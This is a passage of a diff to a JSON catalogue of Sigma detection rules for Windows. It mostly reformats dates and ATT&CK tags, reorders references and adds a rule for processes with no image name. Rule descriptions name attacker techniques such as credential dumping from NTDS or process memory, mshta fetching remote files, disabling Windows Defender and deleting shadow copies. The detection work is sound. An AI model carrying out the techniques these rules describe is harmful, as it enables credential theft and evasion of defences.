Mining Activity" }, + { + "description": "Detect the use of processes with no name (\".exe\"), which can be used to evade Image-based detections.", + "meta": { + "author": "Matt Anderson (Huntress)", + "creation_date": "2024-07-23", + "falsepositive": [ + "Rare legitimate software." + ], + "filename": "proc_creation_win_susp_no_image_name.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_no_image_name.yml" + ], + "tags": [ + "attack.defense-evasion" + ] + }, + "uuid": "f208d6d8-d83a-4c2c-960d-877c37da84e5", + "value": "Process Launched Without Image Name" + }, { "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", "meta": { "author": "Alfie Champion (ajpc500)", - "creation_date": "2021/06/02", + "creation_date": "2021-06-02", "falsepositive": [ "Unknown" ], @@ -48232,7 +48297,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_c3_rundll32_pattern.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -48252,7 +48317,7 @@ "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", "meta": { "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/07", + "creation_date": "2022-08-07", "falsepositive": [ "Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process." ], @@ -48261,13 +48326,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/frack113/status/1555830623633375232", "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://twitter.com/frack113/status/1555830623633375232", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_image.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.004" ] }, @@ -48287,7 +48352,7 @@ "description": "Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\\Program Files')", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/19", + "creation_date": "2022-09-19", "falsepositive": [ "Unknown" ], @@ -48300,7 +48365,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_netsupport_susp_exec.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "37e8d358-6408-4853-82f4-98333fca7014", @@ -48310,7 +48375,7 @@ "description": "Detects suspicious ways to use the \"DumpMinitool.exe\" binary", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/04/06", + "creation_date": "2022-04-06", "falsepositive": [ "Unknown" ], @@ -48319,13 +48384,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1511415432888131586", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/", "https://twitter.com/mrd0x/status/1511489821247684615", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/", + "https://twitter.com/mrd0x/status/1511415432888131586", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1003.001" ] @@ -48353,7 +48418,7 @@ "description": "Detects SILENTTRINITY stager use via PE metadata", "meta": { "author": "Aleksey Potapov, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Unlikely" ], @@ -48366,7 +48431,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_silenttrinity_stager.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071" ] }, @@ -48386,7 +48451,7 @@ "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/16", + "creation_date": "2020-10-16", "falsepositive": [ "Legitimate administration activities" ], @@ -48395,8 +48460,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_software_discovery.yml" ], "tags": [ @@ -48420,7 +48485,7 @@ "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Unknown" ], @@ -48429,12 +48494,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/180", "https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/", + "https://github.com/LOLBAS-Project/LOLBAS/pull/180", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -48454,7 +48519,7 @@ "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/08", + "creation_date": "2022-08-08", "falsepositive": [ "Unknown" ], @@ -48467,7 +48532,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218.005" ] @@ -48488,7 +48553,7 @@ "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/04", + "creation_date": "2022-01-04", "falsepositive": [ "Command lines that use the same flags" ], @@ -48497,12 +48562,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bopin2020/status/1366400799199272960", "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_createdump_lolbin_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1003.001" ] @@ -48530,7 +48595,7 @@ "description": "Detects uncommon child process of Setres.EXE.\nSetres.EXE is a Windows server only process and tool that can be used to set the screen resolution.\nIt can potentially be abused in order to launch any arbitrary file with a name containing the word \"choice\" from the current execution path.\n", "meta": { "author": "@gott_cyber, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/11", + "creation_date": "2022-12-11", "falsepositive": [ "Unlikely" ], @@ -48539,14 +48604,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", "https://twitter.com/0gtweet/status/1583356502340870144", - "https://strontic.github.io/xcyclopedia/library/setres.exe-0E30E4C09637D7A128A37B59A3BC4D09.html", "https://lolbas-project.github.io/lolbas/Binaries/Setres/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", + "https://strontic.github.io/xcyclopedia/library/setres.exe-0E30E4C09637D7A128A37B59A3BC4D09.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_setres_uncommon_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -48574,7 +48639,7 @@ "description": "Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/29", + "creation_date": "2022-11-29", "falsepositive": [ "Unlikely" ], @@ -48583,14 +48648,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/gbti_sa/status/1249653895900602375?lang=en", + "https://www.softpedia.com/get/Antivirus/Removal-Tools/ithurricane-PowerTool.shtml", "https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html", "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", - "https://www.softpedia.com/get/Antivirus/Removal-Tools/ithurricane-PowerTool.shtml", + "https://twitter.com/gbti_sa/status/1249653895900602375?lang=en", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powertool.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -48610,7 +48675,7 @@ "description": "Detects nltest commands that can be used for information discovery", "meta": { "author": "Craig Young, oscd.community, Georg Lauenstein", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "Legitimate administration use but user and host must be investigated" ], @@ -48619,14 +48684,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://github.com/redcanaryco/atomic-red-team/blob/5360c9d9ffa3b25f6495f7a16e267b719eba2c37/atomics/T1482/T1482.md#atomic-test-2---windows---discover-domain-trusts-with-nltest", - "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", - "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" ], "tags": [ @@ -48658,7 +48723,7 @@ "description": "Detects potential DLL injection and execution using \"Tracker.exe\"", "meta": { "author": "Avneet Singh @v3t0_, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -48671,7 +48736,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055.001" ] }, @@ -48691,7 +48756,7 @@ "description": "Detects the execution of Sysinternals ADExplorer with the \"-snapshot\" flag in order to save a local copy of the active directory database to a suspicious directory.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/14", + "creation_date": "2023-03-14", "falsepositive": [ "Unknown" ], @@ -48704,7 +48769,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_adexplorer_susp_execution.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.001", "attack.t1003.003" ] @@ -48732,7 +48797,7 @@ "description": "Detects the execution of a Windows system binary that is usually located in the system folder from an uncommon location.\n", "meta": { "author": "Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2017/11/27", + "creation_date": "2017-11-27", "falsepositive": [ "Unknown" ], @@ -48741,12 +48806,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/GelosSnake/status/934900723426439170", "https://asec.ahnlab.com/en/39828/", + "https://twitter.com/GelosSnake/status/934900723426439170", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -48766,7 +48831,7 @@ "description": "Detects the import of the specified file to the registry with regedit.exe.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Legitimate import of keys", "Evernote" @@ -48776,13 +48841,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" ], "tags": [ "attack.t1112", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -48801,7 +48866,7 @@ "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/11", + "creation_date": "2021-03-11", "falsepositive": [ "Administrative activity", "Software installation" @@ -48836,7 +48901,7 @@ "description": "Detects a tscon.exe start as LOCAL SYSTEM", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/03/17", + "creation_date": "2018-03-17", "falsepositive": [ "Unknown" ], @@ -48845,13 +48910,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -48871,7 +48936,7 @@ "description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc).\nMight be used by ransomwares during the attack (seen by NotPetya and others).\n", "meta": { "author": "Ecco, E.M. Anhaus, oscd.community", - "creation_date": "2019/09/26", + "creation_date": "2019-09-26", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment" @@ -48881,15 +48946,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", + "https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt", "https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html", "https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md", - "https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_usage.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1070", "attack.t1485" @@ -48918,7 +48983,7 @@ "description": "Detects execution of \"reg.exe\" to disable security services such as Windows Defender.", "meta": { "author": "Florian Roth (Nextron Systems), John Lambert (idea), elhoim", - "creation_date": "2021/07/14", + "creation_date": "2021-07-14", "falsepositive": [ "Unlikely" ], @@ -48934,7 +48999,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_disable_sec_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -48954,7 +49019,7 @@ "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", "meta": { "author": "sam0x90", - "creation_date": "2021/08/06", + "creation_date": "2021-08-06", "falsepositive": [ "To be determined" ], @@ -48963,13 +49028,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/vxunderground/status/1423336151860002816", "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", "https://attack.mitre.org/software/S0404/", + "https://twitter.com/vxunderground/status/1423336151860002816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_params.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003", "attack.t1003.003" ] @@ -48997,7 +49062,7 @@ "description": "Detects suspicious print spool service (spoolsv.exe) child processes.", "meta": { "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)", - "creation_date": "2021/07/11", + "creation_date": "2021-07-11", "falsepositive": [ "Unknown" ], @@ -49012,7 +49077,7 @@ "tags": [ "attack.execution", "attack.t1203", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068" ] }, @@ -49039,7 +49104,7 @@ "description": "Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.", "meta": { "author": "frack113", - "creation_date": "2021/07/12", + "creation_date": "2021-07-12", "falsepositive": [ "App-V clients" ], @@ -49048,12 +49113,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -49073,7 +49138,7 @@ "description": "Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/11", + "creation_date": "2023-01-11", "falsepositive": [ "Unknown" ], @@ -49086,7 +49151,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_set_unsecure_powershell_policy.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "cf2e938e-9a3e-4fe8-a347-411642b28a9f", @@ -49096,19 +49161,19 @@ "description": "Detects potential malicious and unauthorized usage of bcdedit.exe", "meta": { "author": "@neu5ron", - "creation_date": "2019/02/07", + "creation_date": "2019-02-07", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_bcdedit_susp_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2", + "https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070", "attack.persistence", "attack.t1542.003" @@ -49137,7 +49202,7 @@ "description": "Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc).\nProcess Hacker is a tool to view and manipulate processes, kernel options and other low level options.\nThreat actors abused older vulnerable versions to manipulate system processes.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/10/10", + "creation_date": "2022-10-10", "falsepositive": [ "While sometimes 'Process Hacker is used by legitimate administrators, the execution of Process Hacker must be investigated and allowed on a case by case basis" ], @@ -49146,15 +49211,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", "https://processhacker.sourceforge.io/", + "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_process_hacker.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.discovery", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1622", "attack.t1564", "attack.t1543" @@ -49190,7 +49255,7 @@ "description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", "meta": { "author": "frack113", - "creation_date": "2022/03/02", + "creation_date": "2022-03-02", "falsepositive": [ "Legitimate use" ], @@ -49224,7 +49289,7 @@ "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), GossiTheDog, frack113", - "creation_date": "2022/06/21", + "creation_date": "2022-06-21", "falsepositive": [ "Legitimate usage of \".diagcab\" files" ], @@ -49233,14 +49298,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", "https://twitter.com/nas_bench/status/1537896324837781506", "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", + "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -49260,7 +49325,7 @@ "description": "Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.", "meta": { "author": "frack113, Florian Roth", - "creation_date": "2022/09/02", + "creation_date": "2022-09-02", "falsepositive": [ "Legitimate use" ], @@ -49274,7 +49339,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_frp.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090" ] }, @@ -49294,7 +49359,7 @@ "description": "Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32.\nMalware such as Pikabot and Qakbot were seen using similar techniques as well as many others.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86')", - "creation_date": "2023/05/15", + "creation_date": "2023-05-15", "falsepositive": [ "Some false positives might occur with admin or third party software scripts. Investigate and apply additional filters accordingly." ], @@ -49303,9 +49368,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/pr0xylife/Pikabot/blob/main/Pikabot_30.10.2023.txt", "https://github.com/pr0xylife/Pikabot/blob/main/Pikabot_22.12.2023.txt", "Internal Research", + "https://github.com/pr0xylife/Pikabot/blob/main/Pikabot_30.10.2023.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_susp_child_processes.yml" ], "tags": [ @@ -49319,7 +49384,7 @@ "description": "Detects manual execution of the \"Microsoft Compatibility Appraiser\" task via schtasks.\nIn order to trigger persistence stored in the \"\\AppCompatFlags\\TelemetryController\" registry key.\n", "meta": { "author": "Sreeman", - "creation_date": "2020/09/29", + "creation_date": "2020-09-29", "falsepositive": [ "Unknown" ], @@ -49352,7 +49417,7 @@ "description": "Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/05", + "creation_date": "2022-08-05", "falsepositive": [ "Legitimate PowerShell scripts" ], @@ -49365,7 +49430,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_remove_mppreference.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -49385,7 +49450,7 @@ "description": "Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll.\nThis detection assumes that PowerShell commands are passed via the CommandLine.\n", "meta": { "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2018/08/25", + "creation_date": "2018-08-25", "falsepositive": [ "Unknown" ], @@ -49398,7 +49463,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_execution_via_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -49418,7 +49483,7 @@ "description": "Detects execution of the builtin \"rmdir\" command in order to delete directories.\nAdversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/15", + "creation_date": "2022-01-15", "falsepositive": [ "Unknown" ], @@ -49427,12 +49492,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_rmdir_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -49452,7 +49517,7 @@ "description": "Detects the execution of the PurpleSharp adversary simulation tool", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/06/18", + "creation_date": "2021-06-18", "falsepositive": [ "Unlikely" ], @@ -49466,7 +49531,7 @@ ], "tags": [ "attack.t1587", - "attack.resource_development" + "attack.resource-development" ] }, "related": [ @@ -49485,7 +49550,7 @@ "description": "Detects execution of \"findstr\" to search for common names of security tools. Attackers often pipe the results of recon commands such as \"tasklist\" or \"whoami\" to \"findstr\" in order to filter out the results.\nThis detection focuses on the keywords that the attacker might use as a filter.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2023/10/20", + "creation_date": "2023-10-20", "falsepositive": [ "Unknown" ], @@ -49494,8 +49559,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/", "https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf", + "https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/", "https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3cff4b9f6e388c139c05bf44bbb8/atomics/T1518.001/T1518.001.md#atomic-test-1---security-software-discovery", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_security_keyword_lookup.yml" ], @@ -49520,7 +49585,7 @@ "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", "meta": { "author": "Tim Rauch, Elastic (idea)", - "creation_date": "2022/09/20", + "creation_date": "2022-09-20", "falsepositive": [ "Unknown" ], @@ -49554,7 +49619,7 @@ "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", "meta": { "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Use of Program Compatibility Troubleshooter Helper" ], @@ -49568,7 +49633,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwutl.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -49588,7 +49653,7 @@ "description": "Detects an attacker trying to enable the outlook security setting \"EnableUnsafeClientMailRules\" which allows outlook to run applications or execute macros", "meta": { "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2018/12/27", + "creation_date": "2018-12-27", "falsepositive": [ "Unknown" ], @@ -49597,9 +49662,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - 